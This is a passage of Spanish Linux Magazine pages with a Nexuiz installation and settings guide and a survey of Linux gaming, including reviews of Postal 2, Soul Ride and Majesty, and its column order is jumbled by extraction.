hagan que

los jugo-

nes

11

Nexuiz.................................................. 12

Juegos Comerciales.......................... 17

WorldForge......................................... 23

Sudoku................................................ 30

TEMA DE PORTADA

Page 12: Linux Magazine - Edición en Castellano, Nº 13

12

Acción 3D con Nexuiz

A MUERTE

PORTADA • Nexuiz

12 Número 13 W W W . L I N U X - M A G A Z I N E . E S

y el valor ping del servidor de juego

estén bien.

Impacto SúbitoNexuiz se basa en un motor de gráficos

denominado Darkplaces, el cual es una

versión muy modificada del motor

Quake1. Actualmente existen 18 niveles

distintos y 15 modelos de jugador. De

este modo podemos optar entre distin-

tos avatares alternando los de humanos

con los de repugnantes alienígenas.

Aunque los gráficos de las figuras de

juego no están del todo conseguidos

(Figura 2).

Si queremos jugar con efectos gráfi-

cos aceptables, el Readme recomienda

para el juego un procesador con una

frecuencia de un mínimo de 1500 MHz,

una tarjeta gráfica como la nVidia

5700fx o la ATI 9600 y una memoria

RAM de por lo menos 256 MByte.

Como requisitos mínimos también bas-

tan 800 MHz, una tarjeta gráfica al esti-

lo de GeForce y 256 MByte RAM. Si

bien, el juego a un límite bajo, no pro-

porciona mucha alegría.

Velocidad TerminalNexuiz se descarga de [1].

Necesitaremos tanto el Nexuiz 1.1

Release como el parche correspondien-

te. Los dos paquetes tienen 175 MBytes

y, por tanto, la bajada puede tardar un

poco, dependiendo de la velocidad. Por

añadidura tenemos que instalar los

controladores 3D para nuestra tarjeta

gráfica, lo cual puede resultar compli-

cado a veces, pero en Internet hay

ayuda respecto al tema en [2]. Con el

comando glxinfo se puede probar si un

controlador 3D está instalado. En el

resultado aparece en el registro OpenGL

renderer string el nombre de la tarjeta

gráfica.

En el directorio de descarga se crea

una carpeta nexuiz11. Nos cambiamos

a esta carpeta y descomprimimos el

Cada vez más juegos 3D funcio-

nan bajo Linux. Aunque bien

es verdad que muchos necesi-

tan el emulador de Windows Cedega,

además de que no siempre la instala-

ción funciona sin problemas. En cam-

bio, el juego 3D de acción en primera

persona, Nexuiz, funciona de manera

nativa bajo Linux sin emulador

Windows. Sólo pocos juegos 3D para

Linux cumplen esto. Además Nexuiz

(Figura 1) funciona independiente-

mente de la plataforma y está cubierto

por la GPL. El primer anuncio de este

juego a finales de Mayo llegó un poco

demasiado temprano y con fallos, pero

un parche ha solucionado ya (casi)

todos los problemas. En los distintos

niveles aparecen enemigos aceptables,

los gráficos son fluidos y hay muchas

nuevas opciones para influir en el

rumbo del juego. Funciona correcta-

mente también por Internet… supo-

niendo que la velocidad de la conexión

¿Quieres disfrutar de una jugosa Ensalada de tiros… sin pagar una suscripción a Cedega? Nexuiz lo hace

posible. El juego 3D de acción en primera persona funciona de manera nativa bajo Linux. Está basado en la

maquina Quake y ha dado un “gran salto adelante” en Junio. POR KRISTIAN KIIßLING

Page 13: Linux Magazine - Edición en Castellano, Nº 13

archivo zip con unzip

/Pfad/zu/nexuiz11.zip. Para el parche

de código, generamos una carpeta lla-

mada patch11 y lo descomprimimos de

la misma manera allí. Para sobreescri-

bir los archivos de Nexuiz con los

archivos del parche, hay que cambiarse

a la carpeta patch11 y teclear las ins-

trucciones siguientes:

cp *.* /ruta/al/directorioU

/nexuiz11/Nexuiz/

Después tecleamos:

cd /ruta/al/directorio/U

nexuiz11/Nexuiz/

para llegar al directorio con los archi-

vos ejecutables. Dependiendo de si pre-

ferimos el OpenGL-interfaz GLX o la

biblioteca de multimedia SDL, tenemos

que introducir chmod u+x

nexuiz-linux-x86-sdl o chmod u+x

nexuiz-linux-x86-glx. Si usamos

un procesador de 64-Bit, elegi-

mos el archivo cuyo nombre

contiene x86_64.

Opcionalmente se puede compi-

lar el programa desde las fuen-

tes: El Makefile lo encontramos

en la carpeta Darkplaces en el

subdirectorio sources. Si pensa-

mos instalar un Dedicated

Server, encontramos instrucció-

nes en el foro de Nexuiz [3] .

Hay dos maneras de abrir el

juego, bien pasando al directo-

rio mencionado arriba y tecle-

ando ./nexuiz-linux-x86[vuestra

versión] o bien estableciendo

un enlace al escritorio KDE o

Gnome. En la linea comando en las pro-

piedades de nuestro enlace ponemos:

cd /ruta/al/directorio/U

nexuiz11/Nexuiz/; ./nexuiz-linU

ux-x86[vuestra versión]

Además marcamos en Opciones avan-

zadas la opción Arranquar en terminal.

Ahora podemos abrir el juego con un

click de ratón a través de este enlace.

Desafio TotalEl principio de los juegos de acción en

primera persona sigue sin cambios desde

los noventa: “Si me disparas a mi, yo te

disparo a ti”. Gana el más rápido y un

impacto letal se llama Frag. Hay dos

opciones para hacer rápidamente unos

cuantos Frags. Si disponemos de una

línea ADSL, lo mejor es elegir la opción

Join Game para participar en un juego

online. El juego genera una lista actuali-

zada de todos los servidores disponibles

en Internet. Cuanto más peque-

ños sean los valores Ping indica-

dos, más accesible está el servi-

dor correspondiente, con lo cual

se mejoran las posibilidades de

un juego sin atranques en los

gráficos (Figura 3).

Sin embargo, si queremos

probar primero los gráficos,

tenemos que arrancar un juego

local con Create Game. Los

valores predefinidos están bien,

así que sólo hay que pulsar el

botón Start. Se controla con el

teclado y el ratón. Con [W] se

avanza hacia delante y con [S]

hacia atrás. Con [D] y [A] se

W W W . L I N U X - M A G A Z I N E . E S

Figura 1: El juego 3D de acción en primera persona

Nexuiz está basado en un motor Quake modificado.

Funciona de manera nativa bajo Linux, así que no

necesita un emulador de Windows.

Figura 2: Las superficies de los avatares necesitan

todavía mejorarse. Las figuras aparecen bastante

pixeladas a distancias cortas.

Page 14: Linux Magazine - Edición en Castellano, Nº 13

De todos modos, los jugadores

entrenados suelen renunciar a

todos las finezas gráficas para

extraer el mejor rendimiento

del juego y para mantener el

valor Ping lo más bajo posible.

Si el juego en general es

demasiado oscuro, hay que

cambiar, en el área izquierda, al

registro Color Control. Allí se

modifican la luminosidad y los

valores de color para el juego.

Soldado UniversalAl jugar por Internet, es impor-

tante intimidar a los enemigos

potenciales con nombres de

guerra adecuados y con una

apariencia convincente y marcial desde

el comienzo. Para ello hay que ser un

poco creativo dentro de la opción

Player. 0so_4moros0 como nombre de

guerra no vale, mejor ponemos en

Player Name por ejemplo

^Bl00dh0und^ o -_D3Struct0r_-. En el

lado izquierdo del nombre se ve la ima-

gen del avatar, encima aparece el nom-

bre de la especie correspondiente: los

luchadores vienen de todo el universo.

Pulsando las flechas pequeñas encima

de la imagen, se cambia a otra especie.

Ahora mismo Nexuiz soporta como

Game Mode solamente el Deathmatch,

la lucha de todos contra todos. Más

abajo mostraremos cómo se pueden

organizar equipos a través de la conso-

la. El Field of view quiere decir campo

visual. Valores encima de 100 provocan

un efecto de ojo de pez, valores por

debajo de 100 causan una visión de

túnel. Los jugadores suelen usar valo-

res encima de 100 para lograr

una mejor vista general sobre el

mapa, o sea, del campo de

juego. A través del View Size se

cambia el tamaño de la sección

de la imagen, Crosshair Type y

Crosshair Size determinan el

tamaño y apariencia de la cruz

reticular.

En caso necesario, en el regis-

tro Controls se puede modificar

la organización del teclado. Hay

que pulsar una letra ya asigna-

da y luego a la nueva tecla a

agregar. En la sección Audio se

cambia el volumen de la música

y de los efectos acústicos. El

registro Input controla la sensi-

bilidad del ratón. Cuanto más alto sea

el valor, más rápido se gira la figura con

un movimiento de ratón. Así se puede

reaccionar más rápido a los ataques,

pero a la vez se dificulta la puntería.

Al LímiteYa podemos jugar sólo contra los ene-

migos del ordenador, o bien contra ami-

gos o compañeros a través de una LAN

o, con una conexión a Internet, con el

resto del mundo. En Create Game se

especifican todas las propiedades nece-

sarias para juegos privados. Esto se

hace con cinco opciones en el área de

arriba. Primero hay que poner dentro

de los Basic Options (Figura 5) el Public

Server a Disabled. Ahora hay que for-

mular las reglas del juego. En Frag

Limit se definen el número de los Frags

que hacen finalizar un juego. La opción

Max Players limita la cantidad de juga-

dores en un nivel. Con la opción Bot

mueve a la derecha y a la izquierda. El

ratón se usa para cambiar la dirección

de la mirada y para disparar. La direc-

ción del movimiento siempre sigue la

dirección de la mirada. Se dispara con

el botón izquierdo del ratón, pero nor-

malmente las armas disponen además

de funciones alternativas que se pue-

den usar con un click del botón dere-

cho. Es recomendable activar unos Bots

en Create Game para poder tener algo a

qué disparar. Con [F10] se termina el

juego de golpe… una función impor-

tante si se juega en el trabajo.

SpeedSólo se puede “fragear” bien con unos

gráficos fluídos ya que los retrasos pue-

den perturbar bastante el rumbo del

juego. Si los gráficos se atrancan, hay

que salir del juego con [Esc] y modifi-

car las propiedades de los gráficos den-

tro de los Options. Aquí se encuentran

una serie de opciones que podemos

ajustar a nuestro gusto. Primero hay

que elegir el registro Video. Allí se

especifica la resolución de la pantalla:

800x600 píxeles con un valor de 16 bits

por píxel suelen ser suficientes.

Apretando [Esc] se vuelve al juego para

probar si ha cambiado algo. Si la panta-

lla se queda en negro hay que terminar

el juego con [F10] y abrirlo de nuevo.

Esto significa que la selección de la

resolución era demasiado baja o dema-

siado alta. Si todavía no se ejecuta de

una manera fluída, hay que volver a las

Options y elegir Effects (Figura 4). Aquí

se encuentra un listado detallado de los

efectos que genera el juego. Si hace

falta, hay que apagar todos los efectos,

lo que empobrece, por supuesto, los

gráficos.

En general no es necesario ser tan

radical. Normalmente es suficiente des-

activar uno u otro efecto. Los Real Time

World Lights son impresionantes, pero

prescindibles. Son los responsables,

entre otras cosas de que los cohetes

volantes o los rayos láser irradien luz a

su alrededor. Los Decals son innecesa-

rios, causan efectos de sangre que sólo

distraen el rumbo del juego. Los

Particles generan los efectos para las

armas, orificios de entrada y unos deta-

lles más. Sin estos los proyectiles pare-

cen mucho menos espectaculares. Hay

que probar simplemente varios ajustes

hasta que el juego transcurra sin saltos.

PORTADA • Nexuiz

14 Número 13 W W W . L I N U X - M A G A Z I N E . E S

Figura 3: A la izquierda de los gráficos se ven los

valores Ping. Cuanto más pequeño sea el valor, más

accesible está el servidor y el juego se ejecutará de

manera más fluída.

Figura 4: ¿Los gráficos se atrancan? Hay que desha-

bilitar los efectos gráficos en la medida de lo posible.

De todos modos, los profesionales renuncian a los

efectos.

Page 15: Linux Magazine - Edición en Castellano, Nº 13

Count se indica cuántos enemigos con-

trolados por el ordenador aparecerán

en el juego. En la siguiente opción se

define su potencia. Si no se juega a

Nexuiz todo el tiempo, el nivel más alto

es casi imposible. Por eso conviene

empezar despacio.

La imagen de pantalla del lado

izquierdo de las opciones muestra el

mapa seleccionado. Se elige

entre los distintos mapas con

las flechas pequeñas encima de

la imagen. Normalmente el pró-

ximo campo de juego aparece

automáticamente después de

cada nivel terminado. Con la

opción Map List (a la derecha

de Basic Options) se decide qué

mapa entra en la rotación. Con

un doble click sobre un mapa

se añade a la Cycle List. Ahora

nos ocupamos de los Game

Settings. Aquí existen también

muchas opciones, vamos a

explicar a continuación las más

importantes. En el modo

Instagib cada jugador tiene sólo

un disparo para mandar al enemigo al

nirvana virtual. En la Rocket Arena se

dispone exclusivamente de lanzadores

de cohetes. En el Vampire Mode se reci-

ben los puntos que se han quitado a los

demás dañándoles. A los jugadores

apasionados de Unreal o Counterstrike

les parecerán poco comunes algunos

movimientos, pero también estos deta-

lles se pueden cambiar en Nexuiz.

Jugando a ser Dios se puede cambiar la

gravedad en Level Gravity y limitar o

ampliar así la altura de los saltos. Se

puede acelerar todo el rumbo del juego

con Game Speed. Con Player Maxspeed

se define la velocidad de los Avatares.

Aquí se modifican también todos los

aspectos relacionados con la salud.

Nexuiz administra la salud según un

sistema propio. Normalmente se estabi-

liza en 100 Puntos. La toma de los lla-

mados Medi-Packs aumenta la salud a

corto plazo, pero pronto baja otra vez a

100 puntos. Por eso muchos jugadores

no dudan mucho y atacan antes de que

se disminuya la salud otra vez. Cuando

una figura resulta herida, la salud se

regenera por sí misma a 100 puntos. El

registro Health Rot fija la velocidad de

deterioro. El Health Regeneration Speed

concreta el proceso automático de la

curación. Los mismos mecanismos

valen para el armamento. El Self

Damage designa el daño que uno

mismo se hace con una maniobra

inapropriada de su propia arma. El

Nexuiz • PORTADA

15Número 13W W W . L I N U X - M A G A Z I N E . E S

Figura 5: Antes de empezar un juego nuevo, hay que

formular las reglas del juego. ¿Cuántos Bots habrá en

un nivel? ¿Qué fuerza deben tener los Bots y cuándo

se acaba un juego?

Page 16: Linux Magazine - Edición en Castellano, Nº 13

tran enemigos de igual

destreza. No se debe

olvidar tener en cuenta

el valor Ping para

conectar con un servi-

dor de alta velocidad.

Se pierden una parte de

los ajustes propios en el

juego online porque los

administradores de los

servidores fijan las

reglas. Sólo se mantie-

nen las propiedades

gráficas.

La ConsolaComo en otros juegos de acción

en primera persona, se pueden

manipular las propiedades

directamente a través de la consola

durante el juego. Es verdad que existen

muchas opciones también a través de

los menús gráficos, pero muchos ajus-

tes son posibles exclusivamente con la

consola, como por ejemplo jugar en

LAN. La consola es además muy ade-

cuada para cambiar opciones a mitad

de una partida.

Los comandos de la consola se

encuentran, entre otros, en el archivo

config.cfg en el subdirectorio

./nexuiz/data/ del directorio Home.

Aquí aparece un problema: la tecla para

activar la consola está mal selecciona-

da. Por ello hay que abrir primero con

Kate un archivo config.cfg. Allí hay que

poner bind "c" "toggleconsole". La con-

sola aparece ahora en el juego pulsan-

do [C] y se cierra con [Esc]. Para medir-

se a través de una LAN con otros juga-

dores, hace falta la dirección IP de

vuestro ordenador. Tecleando

/sbin/ifconfig | grep Bcast

en una consola Linux, se recibe la

dirección. Ahora se abre un juego con

Create Game. El Public Server puede

estar en Disabled. Normalmente un

juego LAN funciona de tal manera que

los otros jugadores se registran a través

de Join Game para un juego abierto en

una red local, pero no es el caso de

Nexuiz. Aquí cada uno empieza su pro-

pio juego con Create Game. Los compa-

ñeros de juego abren entonces la con-

sola con [C] e introducen connect direc-

ción-IP con la dirección-IP del jugador

que haya empezado una partida. De

esta manera los otros jugadores se

meten en el juego abierto. El juego en

equipo se activa a través de la consola

con teamplay 1, luego los jugadores eli-

gen sus colores en las opciones Player

dentro de las Options.

También se pueden cambiar las líne-

as que empiezan con seta a través de la

consola. Antes de cualquier cambio se

debería hacer una copia de seguridad

del archivo config.cfg. La introducción

de seta bot_number 3 cambia, por

ejemplo, la cantidad de los Bots dentro

del juego a 3. También el comando set

showfps 1 se usa mucho. Indica el

número de Frames por segundo y

ayuda a reconocer ganancias de rendi-

miento.

Hay que experimentar un poco.

Merece la pena visitar el foro de Nexuiz

[4] para preguntas sin resolver. De

todas formas se puede recomendar el

juego a pesar de unos detalles a refinar

como los skins de los jugadores y los

movimientos de los Bots. Pero como

Nexuiz es un producto de código abier-

to, están aseguradas las mejoras. �

Weapon Switch Delay especifica la velo-

cidad del cambio del arma. La eficien-

cia de las armas depende en muchos

casos del entorno, así que un valor de

cambio rápido tiene sentido.

Con los Weapon Settings (Figura 6) se

adaptan las armas al gusto de cada

cual. Una escopeta, por ejemplo, se

vuelve muy atractiva si se aumenta el

Shotgun Damage de 6 a 67. Así se

puede matar al enemigo con un solo

tiro. La opción Rocket Launcher Refire

ajusta la distancia entre los cohetes que

salen del lanzador. Bajando el tiempo

de carga a 0.00 se pueden disparar sal-

vas enteras de cohetes.

Como hay tantas opciones, se tarda

un rato hasta que se encuentran las

propiedades adecuadas para nuestras

necesidades de juego. Hay que guardar

los cambios para no tener que empezar

desde cero con el próximo arranque.

Para esto se dispone de la opción

Management en Create Game. Aquí se

guardan las configuraciones para

Maplist, Weapons y Game individual-

mente.

Cuando uno se siente preparado para

luchar contra enemigos en la red, hay

que elegir Join Game para ver cuántos

de los servidores listados están pobla-

dos. Los valores NP/MP lo indican. MP

muestra la máxima cantidad posible de

jugadores, NP informa de cuántos juga-

dores están en realidad presentes en el

nivel. Según mi propia experiencia,

hay más movida por la noche. No hay

que ser el mejor jugador del mundo

para participar en una partida en la

red. Con un poco de suerte se encuen-

PORTADA • Nexuiz

16 Número 13 W W W . L I N U X - M A G A Z I N E . E S

[1] La sección de descargas en la página

web de Nexuiz: http://www.nexuiz.

com/index.php?module=downloads

[2] Información sobre la aceleración 3D:

http://wiki.linuxquestions.org/wiki/

3D_graphics_acceleration

[3] Instalación de un servidor dedicado:

http://www.nexuiz.com/forums/index.

php?showtopic=527

[4] El foro de Nexuiz: http://www.nexuiz.

com/forums/index.

php?showtopic=527

RECURSOS

Figura 6: Selección de armas. Con la ayuda de

muchas opciones, se pueden adaptar las armas a las

necesidades de cada cual. Después del cambio, una

escopeta, que antes era poco peligrosa, es capaz de

causar importantes daños.

Figura 7: La pantalla de juego permite desplegar una

consola de control.

Page 17: Linux Magazine - Edición en Castellano, Nº 13

El ocio se ha convertido en la forma

de negocio más rentable de nues-

tros tiempos. Cuando llegan fechas

como las de las pasadas navidades, el con-

sumo de regalos relacionados con el ocio

se dispara. Todos queremos diversión en

nuestras vidas, y esto se extiende también

a nuestros ordenadores. Cada vez es

mayor la demanda de juegos que los usua-

rios quieren para sus plataformas, ya sean

desde móviles hasta consolas de nueva

generación, especialmente en fechas navi-

deñas; así la cantidad y calidad de los mis-

mos aumenta en consecuencia. Y, por fin,

Linux no es una excepción.

Tendencia al AlzaSi bien es cierto que los videojuegos habí-

an sido una asignatura pendiente para

Linux, en los últimos años las cosas han

cambiado bastante. Algunos equipos de

desarrollo empiezan a ver el mercado

Linux como un mercado viable y la comu-

nidad está muy activa con algunos proyec-

tos de juegos libres bajo licencias GPL o

similares. Por su parte las editoras, que

sólo buscan beneficio a corto plazo,

siguen sin ver en Linux un mercado en

expansión y potencialmente rentable, y

sin su apoyo es muy difícil que un equipo

de desarrollo pueda abrirse camino en

este mercado tan competitivo. Pero es sólo

cuestión de tiempo para que el creciente

consumo de juegos de Linux consiga que

las editoras más importantes empiecen a

crear versiones Linux de todos sus títulos.

Vayamos por PartesLa situación actual de los videojuegos en

Linux es algo confusa. Gracias a la organi-

zación de la comunidad GNU/Linux, se

han generado varias líneas de desarrollo

de juegos ajenas al habitual juego comer-

cial que podemos encontrar en las demás

plataformas. Así que vamos a clasificarlos

en 3 grandes grupos:

1.- Juegos LibresEn primer lugar encontramos los juegos

libres. Estos son programados por y para

la comunidad, no hay empresas detrás

que los financien ni el objetivo es obtener

beneficio alguno. Entre ellos podemos

encontrar grandes proyectos como

Análisis del panorama actual de juegos en Linux

¿GAME OVER?

17

Juegos Comerciales • PORTADA

17Número 13W W W . L I N U X - M A G A Z I N E . E S

Planeshift [1], un juego de rol masivo onli-

ne 3D; proyectos más humildes como

puede ser el proyecto español Glest[2], un

juego de estrategia 3D; y juegos simples

como Chromium[3], un matamarcianos

2D de la vieja escuela.

Realmente el número de proyectos de

juegos libres es impresionante: surgen

proyectos nuevos casi todos los días y

aunque sólo un pequeño porcentaje se

completan, existe un más que amplio aba-

nico de posibilidades donde elegir. El prin-

cipal problema de los juegos libres suele

ser el aspecto gráfico. Los gráficos de un

juego requieren un equipo de diseño tra-

bajando durante muchísimas horas, y es

sumamente difícil encontrar un equipo de

diseñadores que trabaje 8 horas al día sin

cobrar nada a cambio. Sin embargo se

espera que la evolución de las herramien-

tas de diseño gráfico suplan esta falta de

mano de obra artística.

2.- Juegos de TercerosEl segundo grupo en nuestro análisis del

panorama de juegos en Linux lo forman

los juegos emulados (aunque en algunos

Aún lejos del mercado de videojuegos que

hay en otras plataformas, el videojuego en

Linux acaba de iniciar un ascenso impara-

ble, creando a su paso nuevas formas de

negocio y comunidades de jugadores que

se han convertido en programadores y

creadores de sus propios juegos.

POR VICENTE CARRO

Page 18: Linux Magazine - Edición en Castellano, Nº 13

de Windows en Linux con mejor o peor

resultado. Snes9x, Zsnes, Gngb, Visualboy

Advance y otros, hacen lo propio con jue-

gos de videoconsolas. Hay que decir que

las “emulaciones” de juegos de Windows

son problemáticas; por ejemplo en mi

experiencia personal, el porcentaje de jue-

gos de este sistema que he podido “emu-

lar” correctamente en Linux ronda el

15%.

Además no podía terminar el análisis de

este segundo grupo sin comentar que

algunos juegos “emulados” van objetiva-

mente mejor en Linux que en su platafor-

ma original, aunque cueste creerlo, espe-

cialmente en lo referido a estabilidad y

fluidez del número de imágenes por

segundo.

3.- Juegos ComercialesEn el tercer y último grupo de nuestra cla-

sificación están los juegos puramente

comerciales. Estos son creados por equi-

pos de desarrollo profesionales con el fin

de obtener beneficios. Normalmente una

editora compra los derechos del juego y se

encarga de su distribución.

Lamentablemente este procedimiento está

repercutiendo en la calidad de los juegos,

ya que los plazos de entrega fijados (con

multas por retraso) impuestos por las edi-

toras obligan a lanzar al mercado juegos

que no están del todo terminados o que

podrían mejorarse sustancialmente.

Afortunadamente para nosotros, los

escasos juegos comerciales que salen para

Linux suelen estar más elaborados, ya que

las políticas de las editoras Linux son

menos restrictivas que las del resto de pla-

taformas.

Los videojuegos comerciales en Linux le

deben mucho a ID Software, empresa

creadora de las sagas Quake y Doom.

Estos caballeros han portado desde sus

inicios los ejecutables de dichos juegos a

Linux, a pesar de que si alguien quería

jugar, tenía que comprarse el juego com-

pleto de otro sistema operativo. Así, desde

el Doom hasta los recientes Quake 4 y

Doom 3, los títulos de ID Software siempre

han tenido versión Linux.

Pero no son los únicos. Otras compañías

han portado a Linux sus títulos más

emblemáticos con más o menos proble-

mas de distribución.

Un caso reciente es el de Cold War [4],

título desarrollado por el estudio

Mindware y que ha sido portado por ellos

mismos a Linux. Sin embargo su editora,

DreamCatcher, se negaba a publicar el

título en Linux sin una protección de

copia segura, cosa harto difícil por otro

lado. Finalmente, aunque todavía no es

oficial, parece que será

LinuxGamePublishing [5], la mayor edito-

ra de juegos Linux del planeta, la que se

casos realmente no estén técnicamente

emulados). Algunos juegos de otras plata-

formas (casi siempre de Windows) se pue-

den “emular” para poder jugar en nuestro

sistema Linux. Programas como WINE,

WINEX o, su evolución, Cedega son los

encargados de hacer que funcionen juegos

PORTADA • Juegos Comerciales

18 Número 13 W W W . L I N U X - M A G A Z I N E . E S

Figura 1: Los juegos punteros como Quake 4 y Doom 3 salen también para Linux y, si los com-

paramos con sus versiones Windows, vemos que son exactamente iguales.

Figura 2a: Postal 2 – Esto es lo que pasa si te disparan en la cabeza a quemarropa con una

escopeta de combate.

Page 19: Linux Magazine - Edición en Castellano, Nº 13

lleve el gato al agua y consiga publicar

Cold War.

También hay que decir que, de media,

los juegos comerciales Linux tienen

menos requerimientos de sistema y pue-

den correr en ordenadores modestos, aun-

que eso también se traduce en una peor

calidad gráfica, pero de media repito; ya

que las versiones Linux y Windows de un

juego puntero y reciente como Quake 4

son exactamente iguales.

Juegos a la CartaAparte de los citados 3 tipos de juegos,

hay un nuevo tipo que no encaja exacta-

mente en ninguna de las clasificaciones

anteriores: los juegos a la carta.

Esto es un nuevo modelo de negocio

basado en el software libre. Con él se pre-

tende que sean los usuarios los que solici-

ten un juego libre con determinadas carac-

terísticas y, si lo desean, puedan también

participar en su desarrollo. Los costes

podrían ser soportados por la comunidad,

como ya se hizo en su momento con el

programa de modelado 3D Blender. Así un

proyecto de juego simple, de digamos

6000 euros de presupuesto total, podría

ser fácilmente costeado por una comuni-

dad de 100 usuarios con una inversión de

60 euros por persona.

Por supuesto estos tipos de desarrollo

no se podrían dar si hubiese que progra-

mar cada juego desde cero, por lo que en

la práctica se opta por usar motores de

juegos libres prefabricados, que dan un

menor rendimiento que uno hecho especí-

ficamente, pero reducen enormemente el

tiempo y los costes de desarrollo. Entre

este tipo de motores de juego libre pode-

mos señalar el prometedor Raydium [6],

Crystal Space [7] o Ogre [8] entre otros

muchos.

Algunas empresas españolas, como

Guadagames [9], ya apuestan por este

modelo como el formato de juego del futu-

ro y, si las expectativas se cumplen, en 5

años podrían estar creándose entre 5 y 10

juegos por año en España con este mode-

lo, lo que además significaría la creación

de puestos de trabajo gracias al software

libre.

A continuación pasamos a un breve

análisis de una selección de juegos comer-

ciales para Linux.

Postal 2: Share the PainCon este revelador título, “comparte el

dolor”, se presenta esta secuela del clásico

Postal, un juego de acción en primera per-

sona con uso intensivo de la violencia.

Lo primero que llama la atención de este

juego es que está prohibido en numerosos

países y es que realmente es “políticamen-

te incorrecto”. Pero afortunadamente ahora

en España podemos disfrutar de él.

W W W . L I N U X - M A G A Z I N E . E S

Figura 2b: Postal 2 – La policía hará su trabajo y, si lo aprovechamos, sacaremos ventaja con

guardaespaldas improvisados.

Page 20: Linux Magazine - Edición en Castellano, Nº 13

te violencia ataca el pueblo donde se des-

arrolla la acción, con lo que día a día ire-

mos teniendo más y más grupos y comu-

nidades persiguiéndonos para acabar con

nuestra vida.

Las posibilidades de violencia explícita

e incorrección que nos da este juego son

simplemente brutales. Podemos decapitar

a los transeúntes con una pala, hacer que

se orinen encima castigándoles con un

taser, prenderles fuego, patearlos, amena-

zarlos, hacer que vomiten, y todo lo que a

nuestra retorcida mente se le ocurra.

A nivel técnico el juego usa el conocido

motor Unreal con lo que el rendimiento es

muy alto y así el juego funcionará muy

bien en casi cualquier ordenador. Los

comentarios que hace el protagonista del

juego son constantes a lo largo de la parti-

da y muy adecuados, con la importante

pega de que están en inglés, como el resto

de los textos. Las músicas son sólo

ambientales y con un punto de excentrici-

dad que los autores han usado para darle

un toque más cómico a todas las situacio-

nes.

Sin duda un juego muy recomendable

en esos días duros en los que tienes que

liberar tensiones, pero teniendo siempre

muy claro que sólo es un videjuego y no

debe ni puede extrapolarse al mundo real

(no estaría bien arrancarle la cabeza a

nuestro jefe con una pala…¿verdad?). Y

por si alguien todavía tenía alguna duda:

sí, este juego es exclusivamente para

mayores de 18 años.

Soul RideLos aficionados al snowboarding están de

enhorabuena con este juego. Soul Ride es

el único juego de su temática en Linux y

además tiene algunos puntos fuertes. Su

Principal baza está en que cuenta con

montañas reales de los EEUU, que han

sido levantadas en 3 dimensiones y repro-

ducen con total fidelidad la geografía del

terreno. Por supuesto eso no quiere decir

que el juego se vea exactamente igual a

las montañas reales, ya que algunos ele-

mentos como los tremendamente simples

árboles no tienen nada que ver con los

reales. Pero aun así este juego hará las

delicias de los snowboarders.

En lo que respecta a la jugabilidad, se

ha compensado el riesgo en la vida real a

tener un accidente con un aumento de la

dificultad, cosa que nos hará pensarnos

más de una vez si de verdad queremos

intentar hacer un salto acrobático cuando

estamos a punto de terminar un descen-

so. También es reseñable que las partidas

se pueden grabar en un aparato de vídeo

virtual para poder ver las repeticiones de

los mejores descensos. Otra característica

que entusiasmará a los fans del snowbo-

ard es la del “heli-drop”, que consiste en

que, a vista de pájaro, elegimos un punto

El juego nos pone en el pellejo de un

programador que tiene que realizar tareas

bastante habituales en el día a día de cual-

quier persona. Estas tareas van desde

comprar la leche, conseguir un árbol de

navidad o incluso ir al médico a que nos

den algo para una infección de orina. Pero

no podía ser tan fácil y una ola de crecien-

PORTADA • Juegos Comerciales

20 Número 13 W W W . L I N U X - M A G A Z I N E . E S

Figura 2c: Postal 2 – Si nos disfrazamos de policía, los transeúntes no nos tendrán miedo.

Figura 2d: Postal 2 – El pánico creciente genera escaladas de violencia que acaban con esce-

nas dantescas como estos 9 cadáveres desfigurados por el fuego.

Page 21: Linux Magazine - Edición en Castellano, Nº 13

aleatorio de cualquiera de las montañas y

un helicóptero nos dejará ahí a nuestro

libre albedrío. La mayoría de las veces

acabaremos hundiéndonos en la nieve o

cayendo en un grupo de rocas desnudas,

pero es una herramienta genial para los

locos del snowboard, ya que pueden

hacerse una idea aproximada de lo que

van a encontrar en ese descenso que quie-

ren probar por si mismos en el mundo

real.

El objetivo del juego es completar los

distintos descensos de las montañas

que tenemos disponibles, pero estos

descensos están puntuados y todas las

acrobacias que podamos realizar nos

ayudarán a mejorar nuestra puntua-

ción. En el apartado técnico destaca

que el juego está hecho con un humilde

motor libre, y ya conocemos las venta-

jas de este tipo de motores. De hecho la

distribuidora del juego en España ya ha

hecho una traducción al español así

como algunas mejoras al motor aprove-

chando que éste se puede modificar.

Lamentablemente el motor no es gran

cosa, y se limita a cumplir correcta-

mente su trabajo sin introducir ningún

efecto gráfico destacable.

El juego viene con varias pistas de audio

que nos harán mucho más emocionantes

los descensos y también se nos pone en

situación con un buen repertorio de efec-

tos de sonido, que aunque no sobresalen

en calidad, realizan su tarea correctamen-

te.

Un juego muy recomendable para los

aficionados al deporte en general y al

snowboard en particular.

Majesty: GoldLa estrategia está representada en este

análisis por Majesty: Gold, juego adicti-

vo donde los haya. Majesty es un juego

de estrategia en dos dimensiones y vista

isométrica. Su principal característica

diferenciadora con los demás juegos de

estrategia es que en este juego no se

puede controlar a los individuos ya que

aquí no somos un dios, sino un simple

rey. Así que el enfoque cambia de “dar

ordenes” a “motivar acciones”, y estas

motivaciones no podían venir en otra

forma que monedas de oro y recompen-

sas por matar a tal monstruo o por ir

hasta tal punto.

Para darle más acción, nuestro reino

será constantemente atacado, bien por

guerreros de otros reinos o bien por mons-

truos de todo tipo, que incluso pueden

aparecer de las cloacas de las ciudades.

La jugabilidad queda condicionada en

principio por el idioma, ya que todo el

juego está en ingles y esto puede resultar

un handicap importante para muchos

jugadores. Aparte de esto , la curva de

dificultad está bien ajustada y si las pri-

meras fases parecen fáciles, las últimas

nos causarán mas problemas de los espe-

rados. Además el juego incluye la expan-

sión Northern Expansion, con lo que

nuevas fases y algunos extras más se nos

ofrecerán en la parte norte del continen-

Juegos Comerciales • PORTADA

21Número 13W W W . L I N U X - M A G A Z I N E . E S

Figura 3b: Soul Ride – Para obtener buenas puntuaciones tendremos que aprender a hacer

acrobacias como ésta.

Figura 3a: Soul Ride – Algunos descensos nos permitirán disfrutar relajadamente durante

algunos segundos del paisaje.

Page 22: Linux Magazine - Edición en Castellano, Nº 13

termine su ronda volverá a palacio, y

en ese momento el dinero que lleva

será ingresado en nuestras arcas y

podremos disponer de él. Por supuesto

que es imperativo que este recaudador

esté siempre protegido, ya que sería

muy inconveniente que lo matasen

justo antes de entregarnos una jugosa

recaudación.

Otro punto a destacar es que los perso-

najes pueden evolucionar y, a poco que

realicen un par de misiones con éxito, sus

capacidades aumentarán en consecuen-

cia. Y como los personajes, los edificios

también podrán evolucionar aumentando

